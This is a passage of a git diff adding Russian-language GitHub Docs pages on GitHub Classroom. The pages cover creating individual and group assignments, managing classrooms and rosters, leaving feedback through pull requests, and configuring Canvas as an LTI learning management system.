задания, присвойте ему имя после задания. Если вы хотите неоднократно использовать этот набор в течение семестра или курса, назовите набор после семестра или курса. + +- Если вы хотите назначить учащихся в определенную команду, присвойте учащимся имя этой команды и предоставьте список участников. + +{% endtip %} + +![Параметры для команд, участвующих в групповом задании](/assets/images/help/classroom/assignments-define-teams.png) + +### Выбор видимости для репозиториев задания + +{% data reusables.classroom.assignments-guide-choose-visibility %} + +{% data reusables.classroom.assignments-guide-click-continue-after-basics %} + +## Добавление начального кода и настройка среды разработки + +{% data reusables.classroom.assignments-guide-intro-for-environment %} + +- [Выбор репозитория шаблонов](#choosing-a-template-repository) +- [Выбор интегрированной среды разработки (IDE)](#choosing-an-integrated-development-environment-ide) + +### Выбор репозитория шаблонов + +По умолчанию новое задание создаст пустой репозиторий для каждой команды, созданной учащимися. {% data reusables.classroom.you-can-choose-a-template-repository %} + +{% data reusables.classroom.assignments-guide-choose-template-repository %} + +### Выбор интегрированной среды разработки (IDE) + +{% data reusables.classroom.about-online-ides %} Дополнительные сведения см. в разделе [Интеграция {% data variables.product.prodname_classroom %} с IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide). + +{% data reusables.classroom.classroom-codespaces-link %} + +{% data reusables.classroom.assignments-guide-choose-an-online-ide %} + +{% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} + +## Предоставление отзыва + +При необходимости можно автоматически оценивать задания и создать пространство для обсуждения с командой каждого отправленного задания. + +- [Автоматическое тестирование заданий](#testing-assignments-automatically) +- [Создание запроса на вытягивание для отзыва](#creating-a-pull-request-for-feedback) + +### Автоматическое тестирование заданий + +{% data reusables.classroom.assignments-guide-using-autograding %} + +### Создание запроса на вытягивание для отзыва + +{% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} + +{% data reusables.classroom.assignments-guide-create-review-pull-request %} + +{% data reusables.classroom.assignments-guide-click-create-assignment-button %} + +## Приглашение учащихся в задание + +{% data reusables.classroom.assignments-guide-invite-students-to-assignment %} + +Вы можете просматривать команды, которые работают над заданием или отправили его, на вкладке **Команды** для задания. {% data reusables.classroom.assignments-to-prevent-submission %} + +<div class="procedural-image-wrapper"> + <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> +</div> + +## Отслеживание хода работы учащихся +На странице обзора задания отображаются сведения о принятии заданий и ходе работы команды. В зависимости от конфигураций заданий могут обращаться различные общие сведения. + +- **Всего команд**. Количество созданных команд. +- **Учащиеся в списке**. Число учащихся в списке аудитории. +- **Учащиеся не в команде**. Количество учащихся в списке аудиторий, которые еще не присоединились к команде. +- **Принявшие команды**. Количество команд, которые приняли это задание. +- **Отправки задания**. Количество команд, отправивших задание. Отправка выполняется при достижении крайнего срока выполнения для задания. +- **Прошедшие команды**. Количество команд, которые на данный момент прошли тесты с автоматическим выставлением оценки для этого задания. + +## Дальнейшие действия + +- После того как вы создадите задание, и ваши учащиеся сформируют команды, члены команд могут начать работу над заданием с использованием Git и возможностей {% data variables.product.product_name %}. Учащиеся могут клонировать репозиторий, отправлять фиксации, управлять ветвями, создавать и просматривать запросы на вытягивание, устранять конфликты слияния и обсуждать изменения с помощью проблем. Журнал фиксаций для репозитория может просматриваться как вами, так и командой. Дополнительные сведения см. в разделах [Начало работы с {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github), [Репозитории](/repositories), [Использование Git](/github/getting-started-with-github/using-git) и [Совместная работа с проблемами и запросами на вытягивание](/github/collaborating-with-issues-and-pull-requests), а также в бесплатном курсе по [разрешению конфликтов слияния](https://github.com/skills/resolve-merge-conflicts) от {% data variables.product.prodname_learning %}. + +- Когда команда завершит задание, вы можете просмотреть файлы в репозитории или журнал и визуализации для репозитория, чтобы лучше понять совместную работу команды. Дополнительные сведения см. в разделе [Визуализация данных репозитория с помощью графов](/github/visualizing-repository-data-with-graphs). + +- Чтобы предоставить отзыв о задании, можно оставить комментарий к отдельным фиксациям или строкам в запросе на вытягивание. Дополнительные сведения см. в разделах [Комментарии к запросам на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) и [Открытие проблемы из кода](/github/managing-your-work-on-github/opening-an-issue-from-code). Дополнительные сведения о создании сохраненных ответов для предоставления отзывов о распространенных ошибках см. в разделе [Сведения о сохраненных ответах](/github/writing-on-github/about-saved-replies). + +## Дополнительные материалы + +- [{% data variables.product.prodname_global_campus %} для преподавателей](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers) +- "[Подключение системного курса по управлению обучением к аудитории](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)" +- [Использование существующих команд в групповых заданиях](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) в сообществе {% data variables.product.prodname_education %} diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md new file mode 100644 index 000000000000..a6269ad5a3dd --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,27 @@ +--- +title: Создание назначения на основе репозитория шаблонов +intro: 'Вы можете создать задание из репозитория шаблонов, чтобы предоставить учащимся начальный код, документацию и другие ресурсы.' +permissions: 'Organization owners who are admins for a classroom can create an assignment from a template repository that is public or owned by the organization. {% data reusables.classroom.classroom-admins-link %}' +versions: + fpt: '*' +redirect_from: + - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments + - /education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository +shortTitle: Template repository +ms.openlocfilehash: 4a4121a51f3138fca371b38797a7aa39e699cbfb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145112168' +--- +Репозиторий шаблонов можно использовать в {% data variables.product.product_name %} в качестве начального кода для назначения в {% data variables.product.prodname_classroom %}. Репозиторий шаблонов может содержать стандартный код, документацию и другие ресурсы для учащихся. Дополнительные сведения см. в разделе [Создание репозитория шаблонов](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository). + +Чтобы использовать репозиторий шаблонов для своего назначения, репозиторий шаблонов должен принадлежать вашей организации, или видимость репозитория шаблонов должна быть настроена как "Общедоступный". + +Можно повторно использовать существующее назначение, даже если применяется репозиторий шаблонов, в любом другом классе, к которому у вас есть доступ администратора, включая классы в другой организации. Подробнее об этом см. в разделе [Повторное использование назначения](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment). + +## Дополнительные материалы + +- [Создание отдельного назначения](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) +- [Создание назначения группы](/education/manage-coursework-with-github-classroom/create-a-group-assignment) diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md new file mode 100644 index 000000000000..02a2654cbbb8 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,139 @@ +--- +title: Создание отдельного задания +intro: Вы можете создать задание для учащихся в своем курсе для индивидуального выполнения. +versions: + fpt: '*' +permissions: 'Organization owners who are admins for a classroom can create and manage individual assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}' +redirect_from: + - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment + - /education/manage-coursework-with-github-classroom/create-an-individual-assignment +shortTitle: Individual assignment +ms.openlocfilehash: c6e0d5dd39181545e1bb913360b1f46cb2b19d6e +ms.sourcegitcommit: 04329ee7464efbb558d77d06664e8578cd154d87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/15/2022 +ms.locfileid: '148046485' +--- +## Сведения об отдельных заданиях + +{% data reusables.classroom.assignments-individual-definition %} + +{% data reusables.classroom.classroom-creates-individual-repositories %} + +{% data reusables.classroom.about-assignments %} + +Видеоролик, в котором показано, как создать отдельное задание, можно найти в разделе [Общие сведения о настройке {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom). + +{% data reusables.classroom.reuse-assignment-link %} + +## Предварительные требования + +{% data reusables.classroom.assignments-classroom-prerequisite %} + +## Создание задания + +{% data reusables.classroom.assignments-guide-create-the-assignment %} + +## Настройка основных сведений о задании + +Укажите имя задания, определите, следует ли задать крайний срок выполнения для задания, и выберите видимость репозиториев для задания. + +- [Указание имени задания](#naming-an-assignment) +- [Назначение крайнего срока выполнения для задания](#assigning-a-deadline-for-an-assignment) +- [Выбор типа задания](#choosing-an-assignment-type) +- [Выбор видимости для репозиториев задания](#choosing-a-visibility-for-assignment-repositories) + +### Указание имени задания + +Для отдельного задания {% data variables.product.prodname_classroom %} устанавливает имена репозиториев, состоящие из префикса репозитория и имени пользователя учащегося {% data variables.product.product_name %}. По умолчанию префикс репозитория используется в качестве заголовка задания. Например, если имя задания — "assignment-1", а имя пользователя учащегося в {% data variables.product.product_name %} — @octocat, репозиторий задания для @octocat получит имя `assignment-1-octocat`. + +{% data reusables.classroom.assignments-type-a-title %} + +### Назначение крайнего срока выполнения для задания + +{% data reusables.classroom.assignments-guide-assign-a-deadline %} + +### Выбор типа задания + +В разделе "Отдельное или групповое задание" щелкните раскрывающееся меню и выберите **Отдельное задание**. Вы не можете изменить тип задания после создания задания. Если вы хотите создать групповое задание, обратитесь к разделу [Создание группового задания](/education/manage-coursework-with-github-classroom/create-a-group-assignment). + +### Выбор видимости для репозиториев задания + +{% data reusables.classroom.assignments-guide-choose-visibility %} + +{% data reusables.classroom.assignments-guide-click-continue-after-basics %} + +## Добавление начального кода и настройка среды разработки + +{% data reusables.classroom.assignments-guide-intro-for-environment %} + +- [Выбор репозитория шаблонов](#choosing-a-template-repository) +- [Выбор интегрированной среды разработки (IDE)](#choosing-an-integrated-development-environment-ide) + +### Выбор репозитория шаблонов + +По умолчанию для нового задания будет создан пустой репозиторий для каждого учащегося в списке аудитории. {% data reusables.classroom.you-can-choose-a-template-repository %} + +{% data reusables.classroom.assignments-guide-choose-template-repository %} + +{% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} + +### Выбор интегрированной среды разработки (IDE) + +{% data reusables.classroom.about-online-ides %} Дополнительные сведения см. в разделе [Интеграция {% data variables.product.prodname_classroom %} с IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide). + +{% data reusables.classroom.classroom-codespaces-link %} + +{% data reusables.classroom.assignments-guide-choose-an-online-ide %} + +## Предоставление отзыва о задании + +При необходимости можно автоматически оценить задания и создать пространство для обсуждения каждого отправленного задания с учащимся. + +- [Автоматическое тестирование заданий](#testing-assignments-automatically) +- [Создание запроса на вытягивание для отзыва](#creating-a-pull-request-for-feedback) + +### Автоматическое тестирование заданий + +{% data reusables.classroom.assignments-guide-using-autograding %} + +### Создание запроса на вытягивание для отзыва + +{% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} + +{% data reusables.classroom.assignments-guide-create-review-pull-request %} + +{% data reusables.classroom.assignments-guide-click-create-assignment-button %} + +## Приглашение учащихся в задание + +{% data reusables.classroom.assignments-guide-invite-students-to-assignment %} + +На вкладке **Список аудитории** для задания можно узнать, присоединился ли учащийся к аудитории, принял ли он задание и отправил ли он его. На этой вкладке также можно связать псевдонимы учащихся {% data variables.product.prodname_dotcom %} с их идентификаторами в списке и наоборот. {% data reusables.classroom.assignments-to-prevent-submission %} + +<div class="procedural-image-wrapper"> + <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> +</div> + +## Отслеживание хода работы учащихся +На странице обзора заданий представлены общие сведения о принятии заданий и ходе работы учащихся. В зависимости от конфигураций заданий могут обращаться различные общие сведения. + +- **Учащиеся в списке**. Число учащихся в списке аудитории. +- **Добавленные учащиеся**. Количество учетных записей {% data variables.product.prodname_dotcom %}, которые приняли задание и не связаны с идентификатором в списке. +- **Учащиеся, принявшие задание**. Число учетных записей, принявших это задание. +- **Учащиеся, отправившие задание**. Число учащихся, отправивших задание. Отправка выполняется при достижении крайнего срока выполнения для задания. +- **Учащиеся, которые успешно выполнили задание**. Число учащихся, которые прошли тесты с автоматическим выставлением оценки для этого задания. + +## Дальнейшие действия + +- После создания задания учащиеся могут начать работу над заданием с использованием Git и возможностей {% data variables.product.product_name %}. Учащиеся могут клонировать репозиторий, отправлять фиксации, управлять ветвями, создавать и просматривать запросы на вытягивание, устранять конфликты слияния и обсуждать изменения с помощью проблем. Журнал фиксаций для репозитория доступен для просмотра как вам, так и учащимся. Дополнительные сведения см. в разделах [Начало работы с {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github), [Репозитории](/repositories) и [Совместная работа с проблемами и запросами на вытягивание](/github/collaborating-with-issues-and-pull-requests). + +- Когда учащийся завершит задание, вы можете просмотреть файлы в репозитории или журнал и визуализации репозитория, чтобы лучше понять работу учащегося. Дополнительные сведения см. в разделе [Визуализация данных репозитория с помощью графов](/github/visualizing-repository-data-with-graphs). + +- Чтобы предоставить отзыв о задании, можно оставить комментарий к отдельным фиксациям или строкам в запросе на вытягивание. Дополнительные сведения см. в разделах [Комментарии к запросам на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) и [Открытие проблемы из кода](/github/managing-your-work-on-github/opening-an-issue-from-code). Дополнительные сведения о создании сохраненных ответов для предоставления отзывов о распространенных ошибках см. в разделе [Сведения о сохраненных ответах](/github/writing-on-github/about-saved-replies). + +## Дополнительные материалы + +- [{% data variables.product.prodname_global_campus %} для преподавателей](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers) +- [Подключение системы управления обучением к {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom) diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/index.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/index.md new file mode 100644 index 000000000000..93fda5b57f8f --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/index.md @@ -0,0 +1,28 @@ +--- +title: Обучение с помощью GitHub Classroom +intro: 'Узнайте, как настроить класс и задания.' +versions: + fpt: '*' +redirect_from: + - /education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories + - /education/manage-coursework-with-github-classroom/probot-settings +children: + - /manage-classrooms + - /use-the-git-and-github-starter-assignment + - /create-an-individual-assignment + - /create-a-group-assignment + - /reuse-an-assignment + - /create-an-assignment-from-a-template-repository + - /leave-feedback-with-pull-requests + - /use-autograding + - /register-a-learning-management-system-with-github-classroom + - /connect-a-learning-management-system-course-to-a-classroom +shortTitle: Teach +ms.openlocfilehash: dec039d72f2c0412348cf9c06d0bc4f79f18c534 +ms.sourcegitcommit: 04329ee7464efbb558d77d06664e8578cd154d87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/15/2022 +ms.locfileid: '148046490' +--- + diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md new file mode 100644 index 000000000000..7058db6e8932 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,39 @@ +--- +title: Передача обратной связи с помощью запросов на вытягивание +intro: Вы можете оставить отзыв для учащихся в специальном запросе на вытягивание в репозитории для каждого задания. +permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. +versions: + fpt: '*' +redirect_from: + - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github + - /education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests +shortTitle: Pull requests +ms.openlocfilehash: 6315904aaaa02acc66249039e99a402b455a8871 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145119531' +--- +## Сведения о запросах на вытягивание для получения обратной связи по заданиям + +{% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} + +Если включить запрос на вытягивание для получения обратной связи по заданию, {% data variables.product.prodname_classroom %} создаст специальный запрос на вытягивание с названием **Feedback** (Обратная связь) в репозитории заданий для каждого учащегося или команды. Запрос на вытягивание автоматически отображает каждую фиксацию, которую учащийся отправляет в ветвь репозитория заданий по умолчанию. + +## Предварительные требования + +Чтобы создать и использовать запрос на вытягивание для получения обратной связи, необходимо включить запрос на вытягивание для получения обратной связи при создании задания. {% data reusables.classroom.for-more-information-about-assignment-creation %} + +## Передача обратной связи в запросе на вытягивание для задания + +{% data reusables.classroom.sign-into-github-classroom %} +1. В списке классов выберите класс с заданием, которое вы хотите просмотреть. + ![Класс в списке классов для организации](/assets/images/help/classroom/click-classroom-in-list.png) {% data reusables.classroom.click-assignment-in-list %} +1. Справа от области отправки нажмите кнопку **Просмотреть**. + ![Кнопка просмотра задания в списке отправок для задания](/assets/images/help/classroom/assignments-click-review-button.png) +1. Изучите запрос на вытягивание. Дополнительные сведения см. в разделе [Комментарий к запросу на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request). + +## Дополнительные материалы + +- [Интеграция {% data variables.product.prodname_classroom %} с интегрированной средой разработки](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide) diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md new file mode 100644 index 000000000000..a71b69094717 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md @@ -0,0 +1,137 @@ +--- +title: Manage classrooms +intro: 'You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}.' +permissions: 'Organization owners who are admins for a classroom can manage the classroom for an organization. {% data reusables.classroom.classroom-admins-link %}' +versions: + fpt: '*' +redirect_from: + - /education/manage-coursework-with-github-classroom/archive-a-classroom + - /education/manage-coursework-with-github-classroom/manage-classrooms +--- + +## About classrooms + +{% data reusables.classroom.about-classrooms %} + +![Classroom](/assets/images/help/classroom/classroom-hero.png) + +## About management of classrooms + +{% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. + +After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. + +Invite TAs and admins to your classroom by inviting the personal accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classroom. Organization owners can administer any classroom for the organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)." + +When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. + +{% data reusables.classroom.reuse-assignment-link %} + +## About classroom rosters + +Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. + +When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a personal account to link the personal account to an identifier for the classroom. After the student links a personal account, you can see the associated personal account in the roster. You can also see when the student accepts or submits an assignment. + +![Classroom roster](/assets/images/help/classroom/roster-hero.png) + +## Prerequisites + +You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." + +You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." + +## Creating a classroom + +{% data reusables.classroom.sign-into-github-classroom %} +1. Click **New classroom**. + !["New classroom" button](/assets/images/help/classroom/click-new-classroom-button.png) +{% data reusables.classroom.guide-create-new-classroom %} + +After you create a classroom, you can begin creating assignments for students. For more information, see "[Use the Git and {% data variables.product.company_short %} starter assignment](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)," "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)," "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)," or "[Reuse an assignment](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment)." + +## Creating a roster for your classroom + +You can create a roster of the students who participate in your course. + +If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." + +{% data reusables.classroom.sign-into-github-classroom %} +{% data reusables.classroom.click-classroom-in-list %} +{% data reusables.classroom.click-students %} +1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, your LMS administrator will first need to register your LMS instance and then you will need to connect your LMS course to your classroom. Once connected, you can click the **Import from...** button to import a roster from your LMS course. For more information, see "[Connect a learning management system course to a classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)." + + {% note %} + + **Note:** {% data reusables.classroom.google-classroom-note %} + + {% endnote %} + +2. Provide the student identifiers for your roster. + - To import a roster by uploading a file containing student identifiers, click **Upload a CSV or text file**. + - To create a roster manually, type your student identifiers. + ![Text field for typing student identifiers and "Upload a CSV or text file" button](/assets/images/help/classroom/type-or-upload-student-identifiers.png) +3. Click **Create roster**. + !["Create roster" button](/assets/images/help/classroom/click-create-roster-button.png) + +## Adding students to the roster for your classroom + +Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classroom](#creating-a-roster-for-your-classroom)." + +{% data reusables.classroom.sign-into-github-classroom %} +{% data reusables.classroom.click-classroom-in-list %} +{% data reusables.classroom.click-students %} +1. To the right of "Classroom roster", click **Update students**. If you have already linked your classroom to an LMS course, then you will see a **Sync from...** button instead. + !["Update students" button to the right of "Classroom roster" heading above list of students](/assets/images/help/classroom/click-update-students-button.png) +1. Follow the instructions to add students to the roster. + - To import students from an LMS, your LMS administrator will first need to register your LMS instance and then you will need to connect your LMS course to your classroom. Once connected, you can click the **Sync from...** button. For more information, see "[Connect a learning management system course to a classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)." + {% note %} + + **Note:** {% data reusables.classroom.google-classroom-note %} + + {% endnote %} + - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**. + ![Modal for choosing method of adding students to classroom](/assets/images/help/classroom/classroom-add-students-to-your-roster.png) + +## Renaming a classroom + +{% data reusables.classroom.sign-into-github-classroom %} +{% data reusables.classroom.click-classroom-in-list %} +{% data reusables.classroom.click-settings %} +1. Under "Classroom name", type a new name for the classroom. + ![Text field under "Classroom name" for typing classroom name](/assets/images/help/classroom/settings-type-classroom-name.png) +1. Click **Rename classroom**. + !["Rename classroom" button](/assets/images/help/classroom/settings-click-rename-classroom-button.png) + +## Archiving or unarchiving a classroom + +You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. + +{% data reusables.classroom.sign-into-github-classroom %} +1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**. + ![Drop-down menu from horizontal kebab icon and "Archive" menu item](/assets/images/help/classroom/use-drop-down-then-click-archive.png) +1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**. + ![Drop-down menu from horizontal kebab icon and "Unarchive" menu item](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png) + +## Deleting a roster for a classroom + +{% data reusables.classroom.sign-into-github-classroom %} +{% data reusables.classroom.click-classroom-in-list %} +{% data reusables.classroom.click-students %} +1. Under "Delete this roster", click **Delete roster**. + !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button.png) +1. Read the warnings, then click **Delete roster**. + !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png) + +## Deleting a classroom + +{% data reusables.classroom.sign-into-github-classroom %} +{% data reusables.classroom.click-classroom-in-list %} +{% data reusables.classroom.click-settings %} +1. To the right of "Delete this classroom", click **Delete classroom**. + !["Delete repository" button](/assets/images/help/classroom/click-delete-classroom-button.png) +1. **Read the warnings**. +1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete. + ![Modal for deleting a classroom with warnings and text field for classroom name](/assets/images/help/classroom/delete-classroom-modal-with-warning.png) +1. Click **Delete classroom**. + !["Delete classroom" button](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png) diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md new file mode 100644 index 000000000000..6cd0869e32e9 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md @@ -0,0 +1,169 @@ +--- +title: Регистрация системы управления обучением в GitHub Classroom +intro: 'Вы можете настроить совместимую с LTI систему управления обучением (LMS) с помощью {% data variables.product.prodname_classroom %}.' +versions: + fpt: '*' +permissions: 'Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}.' +shortTitle: Register an LMS +ms.openlocfilehash: e1c1abed5ce4ebf82c19b29fef9a005fbe4c7a02 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106856' +--- +## Сведения о регистрации LMS в классе + +Прежде чем подключить LMS к аудитории, администратору экземпляра LMS необходимо настроить LMS, чтобы разрешить {% data variables.product.prodname_classroom %}, а затем зарегистрировать ваш LMS в {% data variables.product.prodname_classroom %}, чтобы инициировать подтверждение OAuth. Администратору нужно выполнить этот процесс регистрации только один раз, после чего любой преподаватель, использующий экземпляр LMS, может синхронизировать свои курсы LMS с аудиториями. Дополнительные сведения о подключении курса LMS к аудитории см. в разделе [Подключение курса системы управления обучением к классу](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom). + +{% note %} + +**Примечание.** {% data reusables.classroom.google-classroom-note %} + +{% endnote %} + +## Поддерживаемые системы управления обучением + +{% data reusables.classroom.supported-lmses %} + +## Настройка Canvas для {% data variables.product.prodname_classroom %} + +Вы можете зарегистрировать установку Canvas в {% data variables.product.prodname_classroom %}, чтобы преподаватели могли импортировать данные списка в свои классы. Дополнительные сведения о Canvas см. на [веб-сайте Canvas](https://www.instructure.com/canvas/). + +### 1. Регистрация ключей разработчика {% data variables.product.prodname_classroom %} на холсте + +1. Войдите в [Canvas](https://www.instructure.com/canvas/#login). +2. На левой боковой панели домашней страницы щелкните **Администратор**, а затем щелкните **Администратор сайта**. +3. Щелкните **Ключи разработчика**. +4. В разделе "Ключи разработчика" нажмите кнопку **+ Ключ разработчика** , а затем выберите **+ Ключ LTI** в раскрывающемся меню. +5. На экране настройки "Параметры ключа" задайте для полей следующие значения: + + | Поле в конфигурации приложения Canvas | Значение или параметр | + | :- | :- | + | **Метод** | `Manual Entry` | + | **Заголовок** | `GitHub Classroom` <br/><br/>**Примечание.** Вы можете использовать любое имя, но если для этого параметра задано другое значение, убедитесь, что об этом сообщается преподавателям. | + | **Описание** | `Sync Canvas course rosters to GitHub Classroom` (или что-то подобное) | + | **URI целевой ссылки** | `https://classroom.github.com/context-link` | + | **URL-адрес запуска OpenID Connect** | `https://classroom.github.com/lti1p3/openid-connect/auth` | + | **Метод JWK** | `Public JWK URL` | + | **Общедоступный URL-адрес JWK** | `https://classroom.github.com/.well-known/jwks.json` | + | **URI перенаправления** | `https://classroom.github.com/lti1p3/openid-connect/redirect` | + | Раскрывающийся список **служб преимущества LTI** | Установите флажок "Может извлекать пользовательские данные, связанные с контекстом, в котором установлено средство". | + | **Раскрывающийся список "Дополнительные параметры"** | В разделе "Уровень конфиденциальности" выберите `Public` | + | **Размещения** | Выберите `Course Settings Sub Navigation`. <br/><br/>**Примечание**. Если для размещения задано другое значение, это должно быть сообщено преподавателям. В нашей документации предполагается, что это размещение кнопки. | +6. Выберите команду **Сохранить**. +7. В таблице на странице "Ключи разработчика" в строке ключа разработчика GitHub Classroom запишите значение идентификатора клиента в столбце "Сведения" - это необходимо сообщить преподавателям, чтобы они завершили настройку. +8. В таблице на странице "Ключи разработчика" в столбце "Состояние" переведите 